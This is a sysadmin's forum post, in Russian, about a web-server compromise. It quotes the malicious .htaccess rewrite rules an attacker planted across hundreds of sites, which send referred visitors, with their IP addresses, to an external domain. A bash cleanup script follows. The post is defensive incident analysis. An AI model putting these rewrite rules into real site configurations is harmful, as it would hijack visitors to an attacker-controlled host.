Обнаружение уязвимости веб-сервера

У нас есть ферма веб-серверов, на которой размещено около 300 веб-сайтов.

Вчера утром скрипт разместил файлы .htaccess, принадлежащие www-data (пользователю apache). в каждом каталоге под document_root большинства (но не всех) сайтов.

Содержимое файла .htaccess было следующим:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Погуглил для этого URL (который является хешем md5 "антивируса") я обнаружил, что то же самое произошло во всем Интернете, и ищу кого-то, кто уже имел дело с этим, и определил где уязвимость.

Я просмотрел большинство наших журналов, но пока не нашел ничего убедительного. Есть ли другие, которые испытали то же самое, но продвинулись дальше, чем я, в определении ямы?

На данный момент мы определили:

• изменения были внесены как www-данные, поэтому, скорее всего, виноваты apache или его плагины
• все изменения были внесены в течение 15 минут друг за другом, поэтому, вероятно, это было автоматизировано
• так как наши веб-сайты имеют очень разные доменные имена, я думаю, что виновата одна уязвимость на одном сайте (а не общая уязвимость на каждом сайте)
• если файл .htaccess уже существует и может быть записан с помощью www-data, тогда сценарий был добрым и просто добавлял указанные выше строки в конец файла (что упрощало обратное)

Будем признательны за любые подсказки.

== Редактировать ==

Для тех, кому это нужно, вот сценарий, который я использовал для очистки файлов .htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done